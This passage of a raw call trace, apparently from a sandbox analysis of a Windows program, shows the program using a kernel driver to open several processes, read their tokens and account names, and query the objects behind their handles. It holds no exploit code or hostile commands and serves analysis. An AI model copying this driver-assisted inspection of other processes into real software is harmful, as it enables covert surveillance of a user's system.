(Irp=0xfffffa8002131480, PriorityBoost=0) [0114.006] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.006] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8b0) returned 0xc0 [0114.006] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.006] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001ffc3e0, HandleInformation=0x0) returned 0x0 [0114.006] ObOpenObjectByPointer (in: Object=0xfffffa8001ffc3e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0114.006] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x12 [0114.006] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0114.006] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0114.006] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.006] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.006] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.008] CloseHandle (hObject=0xc8) returned 1 [0114.008] CloseHandle (hObject=0xc0) returned 1 [0114.008] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.008] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.008] PsAcquireProcessExitSynchronization () returned 0x0 [0114.008] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880055905d0) [0114.008] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001ffcd10, HandleInformation=0x0) returned 0x0 [0114.008] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.008] PsReleaseProcessExitSynchronization () returned 0x2 [0114.008] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0114.008] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.008] ObfDereferenceObject (Object=0xfffffa8001ffcd10) returned 0x1 [0114.008] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.008] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.008] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0114.008] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.008] PsAcquireProcessExitSynchronization () returned 0x0 [0114.008] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880055905d0) [0114.008] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002000a20, HandleInformation=0x0) returned 0x0 [0114.009] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.009] PsReleaseProcessExitSynchronization () returned 0x2 [0114.009] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0114.009] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.009] ObfDereferenceObject (Object=0xfffffa8002000a20) returned 0x1 [0114.009] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.009] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.009] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.009] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.009] PsLookupProcessByProcessId (in: ProcessId=0x8b0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.009] PsAcquireProcessExitSynchronization () returned 0x0 [0114.009] KeStackAttachProcess (in: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001ffc3e0, ApcState=0xfffff880055905d0) [0114.009] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.009] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.009] PsReleaseProcessExitSynchronization () returned 0x2 [0114.009] ObfDereferenceObject (Object=0xfffffa8001ffc3e0) returned 0x10 [0114.009] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.009] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.009] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.009] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.009] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8c0) returned 0xc0 [0114.009] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.009] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800201cb30, HandleInformation=0x0) returned 0x0 [0114.009] ObOpenObjectByPointer (in: Object=0xfffffa800201cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0114.009] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x12 [0114.009] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0114.009] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0114.009] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.010] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.010] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.011] CloseHandle (hObject=0xc8) returned 1 [0114.011] CloseHandle (hObject=0xc0) returned 1 [0114.011] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.011] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.011] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.011] PsAcquireProcessExitSynchronization () returned 0x0 [0114.011] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880055905d0) [0114.011] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020147d0, HandleInformation=0x0) returned 0x0 [0114.011] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.011] PsReleaseProcessExitSynchronization () returned 0x2 [0114.012] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0114.012] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.012] ObfDereferenceObject (Object=0xfffffa80020147d0) returned 0x1 [0114.012] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.012] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.012] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.012] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0114.012] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.012] PsAcquireProcessExitSynchronization () returned 0x0 [0114.012] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880055905d0) [0114.012] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800201c200, HandleInformation=0x0) returned 0x0 [0114.012] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.012] PsReleaseProcessExitSynchronization () returned 0x2 [0114.012] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0114.012] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.012] ObfDereferenceObject (Object=0xfffffa800201c200) returned 0x1 [0114.012] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.012] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.012] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.012] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.012] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.012] PsAcquireProcessExitSynchronization () returned 0x0 [0114.012] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880055905d0) [0114.012] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.012] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.012] PsReleaseProcessExitSynchronization () returned 0x2 [0114.012] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0114.012] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.012] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.012] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.012] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.012] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8d0) returned 0xc0 [0114.013] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.013] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020273e0, HandleInformation=0x0) returned 0x0 [0114.013] ObOpenObjectByPointer (in: Object=0xfffffa80020273e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0114.013] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x12 [0114.013] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0114.013] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0114.013] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.013] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.013] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.014] CloseHandle (hObject=0xc8) returned 1 [0114.014] CloseHandle (hObject=0xc0) returned 1 [0114.014] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.014] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.014] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.014] PsAcquireProcessExitSynchronization () returned 0x0 [0114.014] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880055905d0) [0114.015] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002027d10, HandleInformation=0x0) returned 0x0 [0114.015] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.015] PsReleaseProcessExitSynchronization () returned 0x2 [0114.015] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0114.015] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.015] ObfDereferenceObject (Object=0xfffffa8002027d10) returned 0x1 [0114.015] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.015] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.015] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.015] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0114.015] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.015] PsAcquireProcessExitSynchronization () returned 0x0 [0114.015] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880055905d0) [0114.015] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002029130, HandleInformation=0x0) returned 0x0 [0114.015] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.015] PsReleaseProcessExitSynchronization () returned 0x2 [0114.015] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0114.015] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.015] ObfDereferenceObject (Object=0xfffffa8002029130) returned 0x1 [0114.015] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.015] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.015] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.015] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.015] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.015] PsAcquireProcessExitSynchronization () returned 0x0 [0114.015] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880055905d0) [0114.015] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.015] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.015] PsReleaseProcessExitSynchronization () returned 0x2 [0114.015] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0114.015] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.015] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.016] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.016] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.016] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8e0) returned 0xc0 [0114.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.016] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002037b30, HandleInformation=0x0) returned 0x0 [0114.016] ObOpenObjectByPointer (in: Object=0xfffffa8002037b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0114.016] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x12 [0114.016] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0114.016] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0114.016] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.016] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.016] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.017] CloseHandle (hObject=0xc8) returned 1 [0114.017] CloseHandle (hObject=0xc0) returned 1 [0114.017] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.017] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.017] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.017] PsAcquireProcessExitSynchronization () returned 0x0 [0114.017] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880055905d0) [0114.018] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002035970, HandleInformation=0x0) returned 0x0 [0114.018] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.018] PsReleaseProcessExitSynchronization () returned 0x2 [0114.018] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0114.018] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.018] ObfDereferenceObject (Object=0xfffffa8002035970) returned 0x1 [0114.018] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.018] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.018] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.018] DeviceIoControl (in: hDevice=0x7c, 